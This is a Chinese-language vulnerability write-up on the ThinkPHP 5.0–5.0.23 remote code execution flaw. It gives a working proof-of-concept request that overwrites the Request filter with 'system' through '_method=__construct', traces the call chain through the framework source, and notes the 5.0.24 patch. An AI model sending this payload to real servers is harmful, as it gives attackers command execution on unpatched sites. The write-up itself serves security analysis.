零、前言
一开始就写了写相关的漏洞的分析,之所以很久了才发出来,主要是想接这个漏洞好好熟悉一下thinkphp框架,之前虽然看过tp3不过也就忘差不多了。新年快乐。
一、漏洞信息
软件:ThinkPHP
版本:5.0~5.0.23
类型:代码执行(REC)
二、漏洞复现
环境:
操作系统:windows
服务器:apache
PHP:5.6
版本:ThinkPHP5.0.22
POC:
未开启debug
/thinkphp5/public/index.php?s=captcha&cmd=whoami _method=__construct&filter%5B%5D=system&method=get
开启debug,url差了个captcha
/thinkphp5/public/index.php?cmd=whoami _method=__construct&filter%5B%5D=system&method=get
三、漏洞分析
首先我们给出一个漏洞的流程图,方面梳理漏洞过程。
先反向的回溯一下漏洞过程,漏洞最终的发生位置位于thinkphp\library\think\Request.php,这是tp5实现Request对象的文件,比如用来获取请求类型,操作url等。具体代码位于filterValue函数
private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value); } ... ... } return $this->filterExp($value); }
1084行(本文7行)调用了call_user_func,其中的参数$filter, $value都是通过函数参数传入,搜索一下filterValue函数发现其在cookie函数和input函数中被调用。cookie函数在本文件中没有被直接调用,所以重点看一下input函数
public function input($data = [], $name = '', $default = null, $filter = '') { ... ... // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); } ... ... return $data; }
与代码执行相关的参数是第一个和第三个即$data 和 $filter,$data来自于形参,$filter经过了getFilter函数的处理
protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } } $filter[] = $default; return $filter; }
当$filter不为空的时候等于request对象的属性值$this->filter。然后接着往前溯源,在同文件的get函数调用了input函数
public function get($name = '', $default = null, $filter = '') { if (empty($this->get)) { $this->get = $_GET; } if (is_array($name)) { $this->param = []; return $this->get = array_merge($this->get, $name); } return $this->input($this->get, $name, $default, $filter); }
在698行(本文10行)第一个参数$this->get就是前面的$data也就是call_user_func函数中的$value,从代码可以看出这个值在为空的时候直接等于$_GET,那么也就可控。然后接着往前找,看$filter如何传入,在param函数中调用了get函数
public function param($name = '', $default = null, $filter = '') { if ( ... ... $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } ... ... return $this->input($this->param, $name, $default, $filter); }
在652行(本文5行)可以看到调用get函数时参数只有一个false,那么根据前面的分析这个$filter会等于$this->$filter,从而不可控。这里要结合另一个同文件的method函数
public function method($method = false) { if (true === $method) { // 获取原始请求类型 return $this->server('REQUEST_METHOD') ?: 'GET'; } elseif (!$this->method) { if (isset($_POST[Config::get('var_method')])) { $this->method = strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST); } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) { $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']); } else { $this->method = $this->server('REQUEST_METHOD') ?: 'GET'; } } return $this->method; }
可以看到525行(本文的8行)通过$_POST方式获取了一个外部变量(配置文件中var_method的值为_mothod),然后526行(本文的9行)是一个动态函数调用,因为$this->method参数外部获取,所以可控,那么就可以调用Request类的任意函数。其中Request.php的__construct是这样实现的
protected function __construct($options = []) { foreach ($options as $name => $item) { if (property_exists($this, $name)) { $this->$name = $item; } } if (is_null($this->filter)) { $this->filter = Config::get('default_filter'); } // 保存 php://input $this->input = file_get_contents('php://input'); }
这个foreach实际上就起到了覆盖Request类变量的作用,其中$options参数就是$_POST数组也可控,那么我们就可以通过这个函数实现特定的类变量覆盖,比如$this->$filter。
所以现在我们从头分析整个代码执行流程,看什么地方会调用Request的param函数并且如何调用method函数实现变量覆盖,ThinkPHP的入口文件位于\public\index.php
// [ 应用入口文件 ] // 定义应用目录 define('APP_PATH', __DIR__ . '/../application/'); // 加载框架引导文件 require __DIR__ . '/../thinkphp/start.php';
然后进入到thinkphp\start.php
// ThinkPHP 引导文件 // 1. 加载基础文件 require __DIR__ . '/base.php'; // 2. 执行应用 App::run()->send();
从thinkphp\library\App.php中的run函数开始应用程序,run函数一开始便会实例化一个Request实例
<?php public static function run(Request $request = null) { $request = is_null($request) ? Request::instance() : $request; try { ... ... // 未设置调度信息则进行 URL 路由检测 if (empty($dispatch)) { $dispatch = self::routeCheck($request, $config); } // 记录当前调度信息 $request->dispatch($dispatch); // 记录路由和请求信息 if (self::$debug) { Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info'); Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info'); Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info'); } ... ... $data = self::exec($dispatch, $config); } catch (HttpResponseException $exception) { $data = $exception->getResponse(); } ... ... return $response; } ?>
这里省略了大部分无关代码,当程序执行到116行时(本文的11行)调用了当前文件的routeCheck函数,并传入了$request(Request类实例)参数,跟进到routeCheck函数
public static function routeCheck($request, array $config) { $path = $request->path(); $depr = $config['pathinfo_depr']; $result = false; // 路由检测(根据路由定义返回不同的URL调度) $result = Route::check($request, $path, $depr, $config['url_domain_deploy']); $must = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must']; if ($must && false === $result) { // 路由无效 throw new RouteNotFoundException(); } } // 路由无效 解析模块/控制器/操作/参数... 支持控制器自动搜索 if (false === $result) { $result = Route::parseUrl($path, $depr, $config['controller_auto_search']); } return $result; }
系统默认开启路由检测,在643行(本文的6行)调用了thinkphp\library\think\Route.php中的check函数,并传入$request、$path两个重要参数,$path最终是在Request.php的pathinfo函数获取
public function pathinfo() { if (is_null($this->pathinfo)) { if (isset($_GET[Config::get('var_pathinfo')])) { // 判断URL里面是否有兼容模式参数 $_SERVER['PATH_INFO'] = $_GET[Config::get('var_pathinfo')]; unset($_GET[Config::get('var_pathinfo')]); } ... ... } return $this->pathinfo; }
var_pathinfo的值是s,payload中的要跟一个s=captcha的get参数,它会影响程序的执行流程,跟进check函数,下一个步中的$url=captcha
public static function check($request, $url, $depr = '/', $checkDomain = false) { ... ... $method = strtolower($request->method()); // 获取当前请求类型的路由规则 $rules = isset(self::$rules[$method]) ? self::$rules[$method] : []; // 检测域名部署 if ($checkDomain) { self::checkDomain($request, $rules, $method); } ... ... if (isset($rules[$item])) { //echo 2; // 静态路由规则检测 $rule = $rules[$item]; if (true === $rule) { $rule = self::getRouteExpress($item); } if (!empty($rule['route']) && self::checkOption($rule['option'], $request)) { self::setOption($rule['option']); return self::parseRule($item, $rule['route'], $url, $rule['option']); } } //echo 3; // 路由规则检测 if (!empty($rules)) { return self::checkRoute($request, $rules, $url, $depr); } return false; }
在check函数中857行(本文的5行)调用了Resuset类的method函数,这里就可以实现我们想要的变量覆盖,同时$request->method()的返回值也因为变量覆盖可控,所以$method变量可控,这里我们将其设置为get,那么下一步$rules赋值为$rules[$method]也就是$rules[‘get’],$rules实在Route.php一开始定义的路由规则
// 路由规则 private static $rules = [ 'get' => [], 'post' => [], 'put' => [], 'delete' => [], 'patch' => [], 'head' => [], 'options' => [], '*' => [], 'alias' => [], 'domain' => [], 'pattern' => [], 'name' => [], ];
默认为空,不过很多在中间被重新赋值了,其中’get’的值受ThinkPHP的特性的影响,ThinkPHP5有自动类加载机制,会自动加载vendor目录下的一些文件
其中vendor\topthink\think-captcha\src\helper.php注册了一条get路由
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
此时的$relus值为
array (size=2) 'captcha/[:id]' => array (size=5) 'rule' => string 'captcha/[:id]' (length=13) 'route' => string '\think\captcha\CaptchaController@index' (length=38) 'var' => array (size=1) 'id' => int 2 'option' => array (size=0) empty 'pattern' => array (size=0) empty 'hello' => boolean true
Check函数最后return到同文件中的checkRoute函数,跟进
private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = []) { foreach ($rules as $key => $item) { ... ... $rule = $item['rule']; $route = $item['route']; $vars = $item['var']; $option = $item['option']; $pattern = $item['pattern']; ... ... if (is_array($rule)) { ... ... } elseif ($route) { ... ... $result = self::checkRule($rule, $route, $url, $pattern, $option, $depr); if (false !== $result) { return $result; } } } ... ... return false; }
checkRoute函数中的for循环对$rules进行了解析,然后进入到checkRule函数
private static function checkRule($rule, $route, $url, $pattern, $option, $depr) { ... ... if ($len1 >= $len2 || strpos($rule, '[')) { ... ... if (false !== $match = self::match($url, $rule, $pattern)) { // 匹配到路由规则 return self::parseRule($rule, $route, $url, $option, $match); } } return false; }
在1205行(本文的7行)调用了match函数,这里会检测检测URL和规则路由是否匹配,也就是说为了匹配这个规则captcha/[:id],s需要等于captcha,然后1207行(本文的9行)进入到parseRule函数
private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false) { $request = Request::instance(); ... ... if ($route instanceof \Closure) { // 执行闭包 $result = ['type' => 'function', 'function' => $route]; } elseif (0 === strpos($route, '/') || strpos($route, '://')) { // 路由到重定向地址 $result = ['type' => 'redirect', 'url' => $route, 'status' => isset($option['status']) ? $option['status'] : 301]; } elseif (false !== strpos($route, '\\')) { // 路由到方法 list($path, $var) = self::parseUrlPath($route); $route = str_replace('/', '@', implode('/', $path)); $method = strpos($route, '@') ? explode('@', $route) : $route; $result = ['type' => 'method', 'method' => $method, 'var' => $var]; } ... ... return $result; }
函数会执行到”路由到方法“这一分支,最终返回的$result的值为
然后层层返回到Route.php中的checkRoute函数再到App.php中的routeCheck函数,再到App.php中的run函数,在run函数139行进入了exec函数,此时$dispatch的值为就是上图的$result,跟进exec函数
protected static function exec($dispatch, $config) { switch ($dispatch['type']) { ... ... case 'method': // 回调方法 $vars = array_merge(Request::instance()->param(), $dispatch['var']); $data = self::invokeMethod($dispatch['method'], $vars); break; ... ... } return $data; }
根据参数的值,进入’method’分支,然后再469行(本文6行)调用了Request.php的param函数
public function param($name = '', $default = null, $filter = '') { if ( ... ... $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false)); $this->mergeParam = true; } ... ... return $this->input($this->param, $name, $default, $filter); }
在代码652行(本文5行)调用了get函数,跟进
public function get($name = '', $default = null, $filter = '') { if (empty($this->get)) { $this->get = $_GET; } if (is_array($name)) { $this->param = []; return $this->get = array_merge($this->get, $name); } return $this->input($this->get, $name, $default, $filter); }
返回到input函数,跟进
public function input($data = [], $name = '', $default = null, $filter = '') { ... ... // 解析过滤器 $filter = $this->getFilter($filter, $default); if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); reset($data); } else { $this->filterValue($data, $name, $filter); } ... ... return $data; }
又通过getFilter函数获取$filter的值,跟进
protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } } $filter[] = $default; return $filter; }
在1058行(本文6行)给$filter赋值,前面我们说过Request类中的变量都可以被覆盖,这里先往下看,函数结束后回到input函数。然后调用array_walk_recursive执行filterValue函数,并将filterValue作为参数,进入filterValue函数
private function filterValue(&$value, $key, $filters) { $default = array_pop($filters); foreach ($filters as $filter) { if (is_callable($filter)) { // 调用函数或者方法过滤 $value = call_user_func($filter, $value); } ... ... } return $this->filterExp($value); }
在1083行(本文7行)调用了call_user_func函数,这里就造成了任意代码执行,我们可以将$filter覆盖为一个可执行命令的系统函数比如system,不过传参的时候得是一个数组,其中value来源于前面$_GET参数,可以控制。到此整个攻击链完成。当开启debug的时候,程序在一开始的App.php的run函数(126行)就会直接进入Request类中的param函数,不需要再进入exec函数,也就没有对captcha的依赖了
四、补丁分析
在ThinkPHP5.0.24中,增加了对$this->method的判断,不允许再自由调用类函数。
五、参考文献
https://www.kancloud.cn/manual/thinkphp5
https://mp.weixin.qq.com/s/DGWuSdB2DvJszom0C_dkoQ